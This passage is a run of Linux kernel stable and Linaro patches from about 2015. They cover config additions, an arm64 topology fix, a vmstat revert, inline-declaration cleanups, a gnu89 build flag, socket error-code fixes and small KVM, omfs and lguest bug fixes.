From 2faacc792444aa022c076ad2761b6ecebe570ab9 Mon Sep 17 00:00:00 2001 From: Mark Brown Date: Fri, 9 Jan 2015 18:15:58 +0000 Subject: configs: Enable coresight by default Signed-off-by: Mark Brown --- linaro/configs/linaro-base.conf | 3 +++ 1 file changed, 3 insertions(+) diff --git a/linaro/configs/linaro-base.conf b/linaro/configs/linaro-base.conf index 15f6ea784f63..c8a353f0fbcc 100644 --- a/linaro/configs/linaro-base.conf +++ b/linaro/configs/linaro-base.conf @@ -118,3 +118,6 @@ CONFIG_DEBUG_INFO=y CONFIG_FANOTIFY=y CONFIG_RCU_TORTURE_TEST=m CONFIG_RCU_TORTURE_TEST_RUNNABLE=n +CONFIG_CORESIGHT=y +CONFIG_CORESIGHT_LINKS_AND_SINKS=y +CONFIG_CORESIGHT_SOURCE_ETM=y -- cgit v1.2.3 From 646fe96c67a5fcc2cfffb7326b2299f2714f7f27 Mon Sep 17 00:00:00 2001 From: Jorge Ramirez-Ortiz Date: Mon, 25 May 2015 19:46:50 -0400 Subject: arm64: topology: fix cpu power calculation This commit sets the power of the average CPU in SMP systems to SCHED_CAPACITY_SCALE. Ignoring the condition "min_capacity==max_capacity" causes the function update_cpu_power( .. ) to generate out of range values. This is because the default value of middle_capacity is used in the final calculation instead of a valid scaling factor. Incidentally, when out of range values are generated and if SCHED_FEAT(ARCH_POWER) is true, the load balancing algorithm makes incorrect scheduling decisions typically overallocating all the work on one of the CPU cores. This proposed solution to arm64 is in line with the upstream solution present in arm32 since the commit below was merged: * SHA: 816a8de0017f16c32e747abc5367bf379515b20a * From: Sudeep KarkadaNagesha * Date: Mon, 17 Jun 2013 14:20:00 +0100 * Subject: ARM: topology: remove hwid/MPIDR dependency from cpu_capac Signed-off-by: Jorge Ramirez-Ortiz Acked-by: Vincent Guittot Signed-off-by: Kevin Hilman --- arch/arm64/kernel/topology.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/arch/arm64/kernel/topology.c b/arch/arm64/kernel/topology.c index 49c94ff29479..b966bc3b51aa 100644 --- a/arch/arm64/kernel/topology.c +++ b/arch/arm64/kernel/topology.c @@ -315,16 +315,12 @@ static void __init parse_dt_cpu_power(void) cpu_capacity(cpu) = capacity; } - /* If min and max capacities are equal we bypass the update of the - * cpu_scale because all CPUs have the same capacity. Otherwise, we - * compute a middle_capacity factor that will ensure that the capacity + /* compute a middle_capacity factor that will ensure that the capacity * of an 'average' CPU of the system will be as close as possible to * SCHED_POWER_SCALE, which is the default value, but with the * constraint explained near table_efficiency[]. */ - if (min_capacity == max_capacity) - return; - else if (4 * max_capacity < (3 * (max_capacity + min_capacity))) + if (4 * max_capacity < (3 * (max_capacity + min_capacity))) middle_capacity = (min_capacity + max_capacity) >> (SCHED_POWER_SHIFT+1); else -- cgit v1.2.3 From 107d4a259350eba2ed9b777b84126e8fa6e343e0 Mon Sep 17 00:00:00 2001 From: "Jon Medhurst (Tixy)" Date: Mon, 1 Jun 2015 12:35:25 +0100 Subject: Revert "mm: make vmstat_update periodic run conditional" This reverts commit 7d252cd22a3f6cb459e8b012912dfd258157f7df because it has been implicated in kernel crashes when its workqueue timer is migrated during CPU hotplug. When HMP was initially being developed against a 3.4 derived kernel, it was observed that wakeups were occurring every 30s across every core to give the vmstat accounting a kick. This was causing a noticeable increase in energy consumption on the really quiet use cases such as audio and video playback. So commit 7d252cd22a was used which turned off the updates on idle CPUs to reduce that. On the 3.10 derived LSK this revert does not result in a significant increase in power consumption so it is assumed that changes since 3.4 have mitigated the initial problem. Signed-off-by: Jon Medhurst Signed-off-by: Kevin Hilman --- include/linux/vmstat.h | 2 +- mm/vmstat.c | 95 ++++++++------------------------------------------ 2 files changed, 15 insertions(+), 82 deletions(-) diff --git a/include/linux/vmstat.h b/include/linux/vmstat.h index a30ab7910ff4..c586679b6fef 100644 --- a/include/linux/vmstat.h +++ b/include/linux/vmstat.h @@ -198,7 +198,7 @@ extern void __inc_zone_state(struct zone *, enum zone_stat_item); extern void dec_zone_state(struct zone *, enum zone_stat_item); extern void __dec_zone_state(struct zone *, enum zone_stat_item); -bool refresh_cpu_vm_stats(int); +void refresh_cpu_vm_stats(int); void refresh_zone_stat_thresholds(void); void drain_zonestat(struct zone *zone, struct per_cpu_pageset *); diff --git a/mm/vmstat.c b/mm/vmstat.c index b916a43a6b37..f42745e65780 100644 --- a/mm/vmstat.c +++ b/mm/vmstat.c @@ -14,7 +14,6 @@ #include #include #include -#include #include #include #include @@ -433,12 +432,11 @@ EXPORT_SYMBOL(dec_zone_page_state); * with the global counters. These could cause remote node cache line * bouncing and will have to be only done when necessary. */ -bool refresh_cpu_vm_stats(int cpu) +void refresh_cpu_vm_stats(int cpu) { struct zone *zone; int i; int global_diff[NR_VM_ZONE_STAT_ITEMS] = { 0, }; - bool vm_activity = false; for_each_populated_zone(zone) { struct per_cpu_pageset *p; @@ -485,21 +483,14 @@ bool refresh_cpu_vm_stats(int cpu) if (p->expire) continue; - if (p->pcp.count) { - vm_activity = true; + if (p->pcp.count) drain_zone_pages(zone, &p->pcp); - } #endif } for (i = 0; i < NR_VM_ZONE_STAT_ITEMS; i++) - if (global_diff[i]) { + if (global_diff[i]) atomic_long_add(global_diff[i], &vm_stat[i]); - vm_activity = true; - } - - return vm_activity; - } /* @@ -1183,70 +1174,20 @@ static const struct file_operations proc_vmstat_file_operations = { #ifdef CONFIG_SMP static DEFINE_PER_CPU(struct delayed_work, vmstat_work); int sysctl_stat_interval __read_mostly = HZ; -static struct cpumask vmstat_off_cpus; -struct delayed_work vmstat_monitor_work; - -static inline bool need_vmstat(int cpu) -{ - struct zone *zone; - int i; - - for_each_populated_zone(zone) { - struct per_cpu_pageset *p; - p = per_cpu_ptr(zone->pageset, cpu); - - for (i = 0; i < NR_VM_ZONE_STAT_ITEMS; i++) - if (p->vm_stat_diff[i]) - return true; - - if (zone_to_nid(zone) != numa_node_id() && p->pcp.count) - return true; - } - - return false; -} - -static void vmstat_update(struct work_struct *w); - -static void start_cpu_timer(int cpu) +static void vmstat_update(struct work_struct *w) { - struct delayed_work *work = &per_cpu(vmstat_work, cpu); - - cpumask_clear_cpu(cpu, &vmstat_off_cpus); - schedule_delayed_work_on(cpu, work, __round_jiffies_relative(HZ, cpu)); + refresh_cpu_vm_stats(smp_processor_id()); + schedule_delayed_work(&__get_cpu_var(vmstat_work), + round_jiffies_relative(sysctl_stat_interval)); } -static void __cpuinit setup_cpu_timer(int cpu) +static void __cpuinit start_cpu_timer(int cpu) { struct delayed_work *work = &per_cpu(vmstat_work, cpu); INIT_DEFERRABLE_WORK(work, vmstat_update); - start_cpu_timer(cpu); -} - -static void vmstat_update_monitor(struct work_struct *w) -{ - int cpu; - - for_each_cpu_and(cpu, &vmstat_off_cpus, cpu_online_mask) - if (need_vmstat(cpu)) - start_cpu_timer(cpu); - - queue_delayed_work(system_unbound_wq, &vmstat_monitor_work, - round_jiffies_relative(sysctl_stat_interval)); -} - - -static void vmstat_update(struct work_struct *w) -{ - int cpu = smp_processor_id(); - - if (likely(refresh_cpu_vm_stats(cpu))) - schedule_delayed_work(&__get_cpu_var(vmstat_work), - round_jiffies_relative(sysctl_stat_interval)); - else - cpumask_set_cpu(cpu, &vmstat_off_cpus); + schedule_delayed_work_on(cpu, work, __round_jiffies_relative(HZ, cpu)); } /* @@ -1263,19 +1204,17 @@ static int __cpuinit vmstat_cpuup_callback(struct notifier_block *nfb, case CPU_ONLINE: case CPU_ONLINE_FROZEN: refresh_zone_stat_thresholds(); - setup_cpu_timer(cpu); + start_cpu_timer(cpu); node_set_state(cpu_to_node(cpu), N_CPU); break; case CPU_DOWN_PREPARE: case CPU_DOWN_PREPARE_FROZEN: - if (!cpumask_test_cpu(cpu, &vmstat_off_cpus)) { - cancel_delayed_work_sync(&per_cpu(vmstat_work, cpu)); - per_cpu(vmstat_work, cpu).work.func = NULL; - } + cancel_delayed_work_sync(&per_cpu(vmstat_work, cpu)); + per_cpu(vmstat_work, cpu).work.func = NULL; break; case CPU_DOWN_FAILED: case CPU_DOWN_FAILED_FROZEN: - setup_cpu_timer(cpu); + start_cpu_timer(cpu); break; case CPU_DEAD: case CPU_DEAD_FROZEN: @@ -1298,14 +1237,8 @@ static int __init setup_vmstat(void) register_cpu_notifier(&vmstat_notifier); - INIT_DEFERRABLE_WORK(&vmstat_monitor_work, - vmstat_update_monitor); - queue_delayed_work(system_unbound_wq, - &vmstat_monitor_work, - round_jiffies_relative(HZ)); - for_each_online_cpu(cpu) - setup_cpu_timer(cpu); + start_cpu_timer(cpu); #endif #ifdef CONFIG_PROC_FS proc_create("buddyinfo", S_IRUGO, NULL, &fragmentation_file_operations); -- cgit v1.2.3 From 0532c0990157877779fb61c8f5365af967913479 Mon Sep 17 00:00:00 2001 From: Kevin Hilman Date: Tue, 2 Jun 2015 08:10:20 -0700 Subject: configs: linaro-base: enable ZRAM features Signed-off-by: Kevin Hilman --- linaro/configs/linaro-base.conf | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/linaro/configs/linaro-base.conf b/linaro/configs/linaro-base.conf index c8a353f0fbcc..77f8851fb80b 100644 --- a/linaro/configs/linaro-base.conf +++ b/linaro/configs/linaro-base.conf @@ -121,3 +121,10 @@ CONFIG_RCU_TORTURE_TEST_RUNNABLE=n CONFIG_CORESIGHT=y CONFIG_CORESIGHT_LINKS_AND_SINKS=y CONFIG_CORESIGHT_SOURCE_ETM=y + +# enable ZRAM features +CONFIG_ZPOOL=y +CONFIG_ZSMALLOC=y +CONFIG_ZRAM=y +CONFIG_ZRAM_LZ4_COMPRESS=y + -- cgit v1.2.3 From 3631a05f1068ef755cafaf3b2c4db3fdebb0341d Mon Sep 17 00:00:00 2001 From: Greg Kroah-Hartman Date: Sat, 23 May 2015 13:26:23 -0700 Subject: staging: wlags49_h2: fix extern inline functions Patch not upstream as this driver is deleted there. Fix up some "extern inline" functions as they break the build when using a "modern" complier (i.e. gcc5). Signed-off-by: Greg Kroah-Hartman --- drivers/staging/wlags49_h2/wl_internal.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/drivers/staging/wlags49_h2/wl_internal.h b/drivers/staging/wlags49_h2/wl_internal.h index b23078164149..11b00c39a98c 100644 --- a/drivers/staging/wlags49_h2/wl_internal.h +++ b/drivers/staging/wlags49_h2/wl_internal.h @@ -1014,7 +1014,7 @@ static inline void wl_unlock(struct wl_private *lp, /* Interrupt enable disable functions */ /********************************************************************/ -extern inline void wl_act_int_on(struct wl_private *lp) +static inline void wl_act_int_on(struct wl_private *lp) { /* * Only do something when the driver is handling @@ -1026,7 +1026,7 @@ extern inline void wl_act_int_on(struct wl_private *lp) } } -extern inline void wl_act_int_off(struct wl_private *lp) +static inline void wl_act_int_off(struct wl_private *lp) { /* * Only do something when the driver is handling -- cgit v1.2.3 From 00ac0c1f0216d9ba96f06b7417cb8301ce0cfdbf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jan-Simon=20M=C3=B6ller?= Date: Mon, 6 May 2013 14:52:08 +0200 Subject: drm/i915: Fix declaration of intel_gmbus_{is_forced_bit/is_port_falid} MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 8f375e10ee47b9d7b9b3aefcf67854c6e92708be upstream. Description: intel_gmbus_is_forced_bit is no extern as its body is right below. Likewise for intel_gmbus_is_port_valid. This fixes a compilation issue with clang. An initial version of this patch was developed by PaX Team . This is respin of this patch. 20130509: v2: (re-)add inline upon request. Signed-off-by: Jan-Simon Möller CC: pageexec@freemail.hu CC: daniel.vetter@ffwll.ch CC: airlied@linux.ie CC: intel-gfx@lists.freedesktop.org CC: dri-devel@lists.freedesktop.org CC: linux-kernel@vger.kernel.org [danvet: Bikeshed commit message.] Signed-off-by: Daniel Vetter Signed-off-by: Greg Kroah-Hartman --- drivers/gpu/drm/i915/i915_drv.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/drivers/gpu/drm/i915/i915_drv.h b/drivers/gpu/drm/i915/i915_drv.h index 47d8b68c5004..0ebe0c3f5074 100644 --- a/drivers/gpu/drm/i915/i915_drv.h +++ b/drivers/gpu/drm/i915/i915_drv.h @@ -1804,7 +1804,7 @@ void i915_teardown_sysfs(struct drm_device *dev_priv); /* intel_i2c.c */ extern int intel_setup_gmbus(struct drm_device *dev); extern void intel_teardown_gmbus(struct drm_device *dev); -extern inline bool intel_gmbus_is_port_valid(unsigned port) +static inline bool intel_gmbus_is_port_valid(unsigned port) { return (port >= GMBUS_PORT_SSC && port <= GMBUS_PORT_DPD); } @@ -1813,7 +1813,7 @@ extern struct i2c_adapter *intel_gmbus_get_adapter( struct drm_i915_private *dev_priv, unsigned port); extern void intel_gmbus_set_speed(struct i2c_adapter *adapter, int speed); extern void intel_gmbus_force_bit(struct i2c_adapter *adapter, bool force_bit); -extern inline bool intel_gmbus_is_forced_bit(struct i2c_adapter *adapter) +static inline bool intel_gmbus_is_forced_bit(struct i2c_adapter *adapter) { return container_of(adapter, struct intel_gmbus, adapter)->force_bit; } -- cgit v1.2.3 From 51ec10a70d9884cb31583a11c792d844434e39ca Mon Sep 17 00:00:00 2001 From: Behan Webster Date: Wed, 29 Oct 2014 15:42:20 -0700 Subject: staging, rtl8192e, LLVMLinux: Change extern inline to static inline commit 6d91857d4826b382b3fd4fad95f52713be646f96 upstream. With compilers which follow the C99 standard (like modern versions of gcc and clang), "extern inline" does the opposite thing from older versions of gcc (emits code for an externally linkable version of the inline function). "static inline" does the intended behavior in all cases instead. Signed-off-by: Behan Webster Suggested-by: Arnd Bergmann Cc: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman --- drivers/staging/rtl8192e/rtllib.h | 4 ++-- drivers/staging/rtl8192e/rtllib_softmac.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/drivers/staging/rtl8192e/rtllib.h b/drivers/staging/rtl8192e/rtllib.h index 3485ef1dfab1..2025281a9d74 100644 --- a/drivers/staging/rtl8192e/rtllib.h +++ b/drivers/staging/rtl8192e/rtllib.h @@ -2943,12 +2943,12 @@ void rtllib_softmac_scan_syncro(struct rtllib_device *ieee, u8 is_mesh); extern const long rtllib_wlan_frequencies[]; -extern inline void rtllib_increment_scans(struct rtllib_device *ieee) +static inline void rtllib_increment_scans(struct rtllib_device *ieee) { ieee->scans++; } -extern inline int rtllib_get_scans(struct rtllib_device *ieee) +static inline int rtllib_get_scans(struct rtllib_device *ieee) { return ieee->scans; } diff --git a/drivers/staging/rtl8192e/rtllib_softmac.c b/drivers/staging/rtl8192e/rtllib_softmac.c index 4feecec8609c..0e4e83758d6a 100644 --- a/drivers/staging/rtl8192e/rtllib_softmac.c +++ b/drivers/staging/rtl8192e/rtllib_softmac.c @@ -341,7 +341,7 @@ inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, } } -inline struct sk_buff *rtllib_probe_req(struct rtllib_device *ieee) +static inline struct sk_buff *rtllib_probe_req(struct rtllib_device *ieee) { unsigned int len, rate_len; u8 *tag; -- cgit v1.2.3 From 5a22665df4777a97757bbf3e4a707173660c9867 Mon Sep 17 00:00:00 2001 From: Arnd Bergmann Date: Thu, 5 Jun 2014 22:48:15 +0200 Subject: staging: rtl8712, rtl8712: avoid lots of build warnings commit 0c9f3a65c5eb7fe1fc611a22eb8a8b71ea865998 upstream. The rtl8712 driver has an 'extern inline' function that contains an 'if', which causes lots of warnings with CONFIG_PROFILE_ALL_BRANCHES overriding the definition of 'if': drivers/staging/rtl8712/ieee80211.h:759:229: warning: '______f' is static but declared in inline function 'ieee80211_get_hdrlen' which is not static [enabled by default] This changes the driver to use 'static inline' instead, which happens to be the correct annotation anyway. Signed-off-by: Arnd Bergmann Cc: Larry Finger Cc: Florian Schilhabel Signed-off-by: Greg Kroah-Hartman --- drivers/staging/rtl8187se/ieee80211/ieee80211.h | 4 ++-- drivers/staging/rtl8192u/ieee80211/ieee80211.h | 10 +++++----- drivers/staging/rtl8712/ieee80211.h | 4 ++-- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/drivers/staging/rtl8187se/ieee80211/ieee80211.h b/drivers/staging/rtl8187se/ieee80211/ieee80211.h index 8fc9f588b056..9fdd566e8d4a 100644 --- a/drivers/staging/rtl8187se/ieee80211/ieee80211.h +++ b/drivers/staging/rtl8187se/ieee80211/ieee80211.h @@ -1447,12 +1447,12 @@ extern void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, shor extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +static inline void ieee80211_increment_scans(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +static inline int ieee80211_get_scans(struct ieee80211_device *ieee) { return ieee->scans; } diff --git a/drivers/staging/rtl8192u/ieee80211/ieee80211.h b/drivers/staging/rtl8192u/ieee80211/ieee80211.h index 210898c8e66c..e1339c33888f 100644 --- a/drivers/staging/rtl8192u/ieee80211/ieee80211.h +++ b/drivers/staging/rtl8192u/ieee80211/ieee80211.h @@ -2250,7 +2250,7 @@ static inline void *ieee80211_priv(struct net_device *dev) return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +static inline int ieee80211_is_empty_essid(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -2266,7 +2266,7 @@ extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +static inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -2292,7 +2292,7 @@ extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mod return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +static inline int ieee80211_get_hdrlen(u16 fc) { int hdrlen = IEEE80211_3ADDR_LEN; @@ -2578,12 +2578,12 @@ void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee); extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +static inline void ieee80211_increment_scans(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +static inline int ieee80211_get_scans(struct ieee80211_device *ieee) { return ieee->scans; } diff --git a/drivers/staging/rtl8712/ieee80211.h b/drivers/staging/rtl8712/ieee80211.h index da4000e49da6..8269be80437a 100644 --- a/drivers/staging/rtl8712/ieee80211.h +++ b/drivers/staging/rtl8712/ieee80211.h @@ -734,7 +734,7 @@ enum ieee80211_state { #define IEEE_G (1<<2) #define IEEE_MODE_MASK (IEEE_A|IEEE_B|IEEE_G) -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +static inline int ieee80211_is_empty_essid(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -748,7 +748,7 @@ extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) return 1; } -extern inline int ieee80211_get_hdrlen(u16 fc) +static inline int ieee80211_get_hdrlen(u16 fc) { int hdrlen = 24; -- cgit v1.2.3 From 3b3f7517262ba59188cfbd23d0d0c20eea2c8c84 Mon Sep 17 00:00:00 2001 From: Behan Webster Date: Wed, 29 Oct 2014 15:42:21 -0700 Subject: staging, rtl8192e, LLVMLinux: Remove unused inline prototype commit 62ec95f86d2850b7ce6d73fb236a6fcf48411aea upstream. rtllib_probe_req is defined as "static inline" in rtllib_softmac.c however it is declared differently as "extern inline" in rtllib_softmac.h. Since it isn't used outside of the scope of rtllib_softmac, it makes sense to remove the incorrect declaration. Signed-off-by: Behan Webster Suggested-by: Arnd Bergmann Cc: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman --- drivers/staging/rtl8192e/rtllib.h | 1 - 1 file changed, 1 deletion(-) diff --git a/drivers/staging/rtl8192e/rtllib.h b/drivers/staging/rtl8192e/rtllib.h index 2025281a9d74..f35948ec5ebf 100644 --- a/drivers/staging/rtl8192e/rtllib.h +++ b/drivers/staging/rtl8192e/rtllib.h @@ -2761,7 +2761,6 @@ extern void rtllib_stop_scan(struct rtllib_device *ieee); extern bool rtllib_act_scanning(struct rtllib_device *ieee, bool sync_scan); extern void rtllib_stop_scan_syncro(struct rtllib_device *ieee); extern void rtllib_start_scan_syncro(struct rtllib_device *ieee, u8 is_mesh); -extern inline struct sk_buff *rtllib_probe_req(struct rtllib_device *ieee); extern u8 MgntQuery_MgntFrameTxRate(struct rtllib_device *ieee); extern void rtllib_sta_ps_send_null_frame(struct rtllib_device *ieee, short pwr); -- cgit v1.2.3 From c7c867483e2037842f0fa60664d758d9c23a8180 Mon Sep 17 00:00:00 2001 From: "Kirill A. Shutemov" Date: Mon, 20 Oct 2014 12:23:12 +0300 Subject: kernel: use the gnu89 standard explicitly commit 51b97e354ba9fce1890cf38ecc754aa49677fc89 upstream. Sasha Levin reports: "gcc5 changes the default standard to c11, which makes kernel build unhappy Explicitly define the kernel standard to be gnu89 which should keep everything working exactly like it was before gcc5" There are multiple small issues with the new default, but the biggest issue seems to be that the old - and very useful - GNU extension to allow a cast in front of an initializer has gone away. Patch updated by Kirill: "I'm pretty sure all gcc versions you can build kernel with supports -std=gnu89. cc-option is redunrant. We also need to adjust HOSTCFLAGS otherwise allmodconfig fails for me" Note by Andrew Pinski: "Yes it was reported and both problems relating to this extension has been added to gnu99 and gnu11. Though there are other issues with the kernel dealing with extern inline have different semantics between gnu89 and gnu99/11" End result: we may be able to move up to a newer stdc model eventually, but right now the newer models have some annoying deficiencies, so the traditional "gnu89" model ends up being the preferred one. Signed-off-by: Sasha Levin Singed-off-by: Kirill A. Shutemov Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- Makefile | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index e26cb1e56266..946f0ed8b5b6 100644 --- a/Makefile +++ b/Makefile @@ -241,7 +241,7 @@ CONFIG_SHELL := $(shell if [ -x "$$BASH" ]; then echo $$BASH; \ HOSTCC = gcc HOSTCXX = g++ -HOSTCFLAGS = -Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer +HOSTCFLAGS = -Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 HOSTCXXFLAGS = -O2 # Decide whether to build built-in, modular, or both. @@ -373,7 +373,9 @@ KBUILD_CFLAGS := -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs \ -fno-strict-aliasing -fno-common \ -Werror-implicit-function-declaration \ -Wno-format-security \ - -fno-delete-null-pointer-checks + -fno-delete-null-pointer-checks \ + -std=gnu89 + KBUILD_AFLAGS_KERNEL := KBUILD_CFLAGS_KERNEL := KBUILD_AFLAGS := -D__ASSEMBLY__ -- cgit v1.2.3 From 521c4dd4415ca24519468add60f6586fde913470 Mon Sep 17 00:00:00 2001 From: Junling Zheng Date: Mon, 1 Jun 2015 09:28:00 +0000 Subject: net: socket: Fix the wrong returns for recvmsg and sendmsg Based on 08adb7dabd4874cc5666b4490653b26534702ce0 upstream. We found that after v3.10.73, recvmsg might return -EFAULT while -EINVAL was expected. We tested it through the recvmsg01 testcase come from LTP testsuit. It set msg->msg_namelen to -1 and the recvmsg syscall returned errno 14, which is unexpected (errno 22 is expected): recvmsg01 4 TFAIL : invalid socket length ; returned -1 (expected -1), errno 14 (expected 22) Linux mainline has no this bug for commit 08adb7dab fixes it accidentally. However, it is too large and complex to be backported to LTS 3.10. Commit 281c9c36 (net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour) made get_compat_msghdr() return error if msg_sys->msg_namelen was negative, which changed the behaviors of recvmsg and sendmsg syscall in a lib32 system: Before commit 281c9c36, get_compat_msghdr() wouldn't fail and it would return -EINVAL in move_addr_to_user() or somewhere if msg_sys->msg_namelen was invalid and then syscall returned -EINVAL, which is correct. And now, when msg_sys->msg_namelen is negative, get_compat_msghdr() will fail and wants to return -EINVAL, however, the outer syscall will return -EFAULT directly, which is unexpected. This patch gets the return value of get_compat_msghdr() as well as copy_msghdr_from_user(), then returns this expected value if get_compat_msghdr() fails. Fixes: 281c9c36 (net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour) Signed-off-by: Junling Zheng Signed-off-by: Hanbing Xu Cc: Li Zefan Cc: Al Viro Cc: David Miller Signed-off-by: Greg Kroah-Hartman --- net/socket.c | 24 ++++++++++-------------- 1 file changed, 10 insertions(+), 14 deletions(-) diff --git a/net/socket.c b/net/socket.c index fc90b4f0da3c..53b6e411f7a4 100644 --- a/net/socket.c +++ b/net/socket.c @@ -1988,14 +1988,12 @@ static int ___sys_sendmsg(struct socket *sock, struct msghdr __user *msg, int err, ctl_len, total_len; err = -EFAULT; - if (MSG_CMSG_COMPAT & flags) { - if (get_compat_msghdr(msg_sys, msg_compat)) - return -EFAULT; - } else { + if (MSG_CMSG_COMPAT & flags) + err = get_compat_msghdr(msg_sys, msg_compat); + else err = copy_msghdr_from_user(msg_sys, msg); - if (err) - return err; - } + if (err) + return err; if (msg_sys->msg_iovlen > UIO_FASTIOV) { err = -EMSGSIZE; @@ -2200,14 +2198,12 @@ static int ___sys_recvmsg(struct socket *sock, struct msghdr __user *msg, struct sockaddr __user *uaddr; int __user *uaddr_len; - if (MSG_CMSG_COMPAT & flags) { - if (get_compat_msghdr(msg_sys, msg_compat)) - return -EFAULT; - } else { + if (MSG_CMSG_COMPAT & flags) + err = get_compat_msghdr(msg_sys, msg_compat); + else err = copy_msghdr_from_user(msg_sys, msg); - if (err) - return err; - } + if (err) + return err; if (msg_sys->msg_iovlen > UIO_FASTIOV) { err = -EMSGSIZE; -- cgit v1.2.3 From 0b93bc9d1b0ca52d58a2015809b69ad188d0866c Mon Sep 17 00:00:00 2001 From: Paolo Bonzini Date: Thu, 2 Apr 2015 11:04:05 +0200 Subject: KVM: MMU: fix CR4.SMEP=1, CR0.WP=0 with shadow pages commit 898761158be7682082955e3efa4ad24725305fc7 upstream. smep_andnot_wp is initialized in kvm_init_shadow_mmu and shadow pages should not be reused for different values of it. Thus, it has to be added to the mask in kvm_mmu_pte_write. Reviewed-by: Xiao Guangrong Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman --- arch/x86/kvm/mmu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/x86/kvm/mmu.c b/arch/x86/kvm/mmu.c index e14b1f8667bb..5a75ebf3d69f 100644 --- a/arch/x86/kvm/mmu.c +++ b/arch/x86/kvm/mmu.c @@ -3975,7 +3975,7 @@ void kvm_mmu_pte_write(struct kvm_vcpu *vcpu, gpa_t gpa, ++vcpu->kvm->stat.mmu_pte_write; kvm_mmu_audit(vcpu, AUDIT_PRE_PTE_WRITE); - mask.cr0_wp = mask.cr4_pae = mask.nxe = 1; + mask.cr0_wp = mask.cr4_pae = mask.nxe = mask.smep_andnot_wp = 1; for_each_gfn_indirect_valid_sp(vcpu->kvm, sp, gfn) { if (detect_write_misaligned(sp, gpa, bytes) || detect_write_flooding(sp)) { -- cgit v1.2.3 From f00429f1fb50d113494c8a02cf7bfdb121f0d105 Mon Sep 17 00:00:00 2001 From: Sasha Levin Date: Thu, 28 May 2015 15:44:29 -0700 Subject: fs, omfs: add NULL terminator in the end up the token list commit dcbff39da3d815f08750552fdd04f96b51751129 upstream. match_token() expects a NULL terminator at the end of the token list so that it would know where to stop. Not having one causes it to overrun to invalid memory. In practice, passing a mount option that omfs didn't recognize would sometimes panic the system. Signed-off-by: Sasha Levin Signed-off-by: Bob Copeland Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- fs/omfs/inode.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fs/omfs/inode.c b/fs/omfs/inode.c index d8b0afde2179..2dba0caf1f4a 100644 --- a/fs/omfs/inode.c +++ b/fs/omfs/inode.c @@ -361,7 +361,7 @@ nomem: } enum { - Opt_uid, Opt_gid, Opt_umask, Opt_dmask, Opt_fmask + Opt_uid, Opt_gid, Opt_umask, Opt_dmask, Opt_fmask, Opt_err }; static const match_table_t tokens = { @@ -370,6 +370,7 @@ static const match_table_t tokens = { {Opt_umask, "umask=%o"}, {Opt_dmask, "dmask=%o"}, {Opt_fmask, "fmask=%o"}, + {Opt_err, NULL}, }; static int parse_options(char *options, struct omfs_sb_info *sbi) -- cgit v1.2.3 From 15a6585a7cacf301508ee52d5517e0ce4059f6cd Mon Sep 17 00:00:00 2001 From: Rusty Russell Date: Wed, 27 May 2015 10:59:26 +0930 Subject: lguest: fix out-by-one error in address checking. commit 83a35114d0e4583e6b0ca39502e68b6a92e2910c upstream. This bug has been there since day 1; addresses in the top guest physical page weren't considered valid. You could map that page (the check in check_gpte() is correct), but if a guest tried to put a pagetable there we'd check that address manually when walking it, and kill the guest. Signed-off-by: Rusty Russell Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- drivers/lguest/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/lguest/core.c b/drivers/lguest/core.c index 0bf1e4edf04d..19da22249bd8 100644 --- a/drivers/lguest/core.c +++ b/drivers/lguest/core.c @@ -176,7 +176,7 @@ static void unmap_switcher(void) bool lguest_address_ok(const struct lguest *lg, unsigned long addr, unsigned long len) { - return (addr+len) / PAGE_SIZE < lg->pfn_limit && (addr+len >= addr); + return addr+len <= lg->pfn_limit * PAGE_SIZE && (addr+len >= addr); } /* -- cgit v1.2.3 From 